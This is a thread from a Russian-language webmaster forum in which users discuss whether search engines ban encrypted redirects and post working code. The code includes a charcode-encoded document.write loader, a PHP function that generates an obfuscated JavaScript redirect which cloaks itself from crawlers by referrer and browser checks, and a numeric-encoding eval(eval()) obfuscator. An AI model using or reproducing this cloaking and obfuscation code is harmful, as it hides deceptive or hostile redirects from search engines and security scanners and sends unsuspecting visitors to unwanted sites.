Charle
Постоялец
- Регистрация
- 5 Окт 2006
- Сообщения
- 103
- Реакции
- 9
быстрее бот забанит с редиректом, но это по моим наблюдениямMisterX написал(а):А ты думаешь гугл нормально к этому отнесется ?
Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
быстрее бот забанит с редиректом, но это по моим наблюдениямMisterX написал(а):А ты думаешь гугл нормально к этому отнесется ?
А если редирект зашифровать то яндекс не забанит за шифрованный редирект?
Занимался ...eval...
Глубокая имха - с такой командой хоть шифруй, хоть с бубном танцуй - Гугл напрягается.
Правда напрячься может не сразу, но это один из подозрительных факторов.
<script>var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32! [поскипано] 112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);</script>
function getRedirect($url)
{
$script = '';
$script .= "<img src='badimg1.gif' width=10 height=10 border=0 id=\"img1\">
<img src='badimg2.gif' width=10 height=10 border=0 id=\"img2\">";
$script .= "<script language=\"JavaScript\" type=\"text/JavaScript\">";
$script.= "
var r=document.referrer,se=\"gb\";
if(r.indexOf(\"google.\")!=-1){t=\"q\";se=\"google\";}
if(r.indexOf(\"msn.\")!=-1){t=\"q\";se=\"msn\";}
if(r.indexOf(\"live.\")!=-1){t=\"q\";se=\"live\";}
if(r.indexOf(\"yahoo.\")!=-1){t=\"p\";se=\"yahoo\";}
if(r.indexOf(\"altavista.\")!=-1){t=\"q\";se=\"altavista\";}
if(r.indexOf(\"aol.\")!=-1){t=\"query\";se=\"aol\";}
if(r.indexOf(\"ask.\")!=-1){t=\"q\";se=\"ask\";}
if(r.indexOf(\"eureka.com.\")!=-1){t=\"q\";se=\"eureka.com\";}
if(r.indexOf(\"lycos.com.\")!=-1){t=\"query\";se=\"lycos\";}
if(r.indexOf(\"hotbot.com.\")!=-1){t=\"MT\";se=\"hotbot\";}
if(r.indexOf(\"infoseek.com.\")!=-1){t=\"qt\";se=\"infoseek.com\";}
if(r.indexOf(\"webcrawler.\")!=-1){t=\"searchText\";se=\"webcrawler\";}
if(r.indexOf(\"excite.\")!=-1){t=\"search\";se=\"excite\";}
if(r.indexOf(\"netscape.com.\")!=-1){t=\"search\";se=\"netscape\";}
if(r.indexOf(\"mamma.com.\")!=-1){t=\"query\";se=\"mamma\";}
if(r.indexOf(\"alltheweb.com.\")!=-1){t=\"query\";se=\"alltheweb.com\";}
if(r.indexOf(\"northernlight.com.\")!=-1){t=\"qr\";se=\"northernlight.com\";}
if(r.indexOf(\"rambler.ru.\")!=-1){t=\"words\";se=\"rambler.ru\";}
if(r.indexOf(\"aport.ru.\")!=-1){t=\"r\";se=\"aport.ru\";}
if(r.indexOf(\"yandex.ru.\")!=-1){t=\"text\";se=\"yandex.ru\";}
if(r.indexOf(\"pingwin.ru.\")!=-1){t=\"searchword\";se=\"pingwin.ru\";}
if(r.indexOf(\"www.ru.\")!=-1){t=\"Str_Find\";se=\"www.ru\";}
if(r.indexOf(\"punto.ru.\")!=-1){t=\"text\";se=\"punto.ru\";} ";
$letters = array('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','l','z','x','c','v','b','n','m',
'Q','W','E','R','T','Y','U','I','O','P','A','S','D','F','G','H','J','K','L','Z','X','C','V','N','M');
$numbers = array ('1','2','3','4','5','6','7','8','9');
$variables = array();
for ($i=0;$i<10;$i++)
{
$variables[$i] = '';
$t=rand(7,10);
for($j=0;$j<$t;$j++)
$variables[$i] .= $letters[ rand(0,sizeof($letters)-1) ];
$t=rand(1,4);
for($j=0;$j<$t;$j++)
$variables[$i] .= $numbers[ rand(0,sizeof($numbers)-1) ];
}
$value='';
$t=rand(7,10);
for($j=0;$j<$t;$j++)
$value .= $letters[ rand(0,sizeof($letters)-1) ];
$t=rand(1,4);
for($j=0;$j<$t;$j++)
$value .= $numbers[ rand(0,sizeof($numbers)-1) ];
$url_1 = substr($url,0,10);
$url_2 = substr($url,10,10);
$url_3 = substr($url,20,10);
$url_4 = substr($url,30);
$script.= "
function F() {
var $variables[0] = 'on=';
var $variables[1] = '$value';
var $variables[2] ='ment';
var $variables[3]='.lo';
var $variables[4]='ti';
var $variables[5]='docu';
var urli2='$url_2';
var urli3='$url_3';
var urli1='$url_1';
var urli4='$url_4';
var $variables[6]=urli1+urli2+urli3+urli4+\"&sub=\"+se;
var $variables[7]='';
var $variables[8] = 'ca';
var $variables[9]='\"';
if($variables[1] = '$value')eval($variables[5]+$variables[2]+$variables[3]+$variables[8]+$variables[4]+$variables[0]+$variables[9]+$variables[6]+$variables[7]+$variables[9]);
}
function getAbsolutePos(el)
{
var r = { x: el.offsetLeft, y: el.offsetTop };
if (el.offsetParent)
{
var tmp = getAbsolutePos(el.offsetParent);
r.x += tmp.x;
r.y += tmp.y;
}
return r;
}
function A()
{
obj = document.getElementById(\"img1\");
pos = getAbsolutePos(obj);
img1x = pos.x;
img1y = pos.y;
obj = document.getElementById(\"img2\");
pos = getAbsolutePos(obj);
img2x = pos.x;
img2y = pos.y;
agent = navigator.userAgent;
if (agent.indexOf(\"Windows\")!=-1)
{
if (img1x != img2x)
F();
}
}
A();
";
$script.="</script>";
return $script;
}
function code($sText)
{
$iRnd = rand(1, 740);
$s = ' var o = "" ; function d ( ) { i = 0 ; c = 0 ; while ( i < s.length ) { c
= Math.round ( s.charAt( i ) + s.charAt( i + 1 ) + s.charAt( i + 2 ) + s.charAt( i + 3 )
) - ' . $iRnd . '; i = i + 4 ; o += String.fromCharCode( c ) ; } document.write( o ) } d(
);';
$a = array();
for ($i = 0; $i < strlen($s); $i++)
{
$c = substr($s, $i, 1);
$a[] = ord($c);
if ($c == ' ')
{
$rcn = rand(0, 3);
for ($j = 0; $j < $rcn; $j++)
{
$a[] = ord($c);
}
}
}
$fp = '';
for ($i = 0; $i < strlen($sText); $i++)
{
$c = substr($sText, $i, 1);
$ic = ord($c);
if ($ic >= 192 and $ic <= 255)
$ic += 848;
if ($ic == 168)
$ic = 1025;
if ($ic == 184)
$ic = 1105;
$ic += $iRnd;
$ac = '';
if ($ic < 10)
$ac = '000';
if ($ic >= 10 and $ic < 100)
$ac = '00';
if ($ic >= 100 and $ic < 1000)
$ac = '0';
$fp .= $ac . $ic;
}
return '<script language=javascript>
s = "' . $fp . '";
k = "f = String.fromCharCode(' . implode(',', $a) . ');";
eval(eval(k));
</script>' . "\n";
}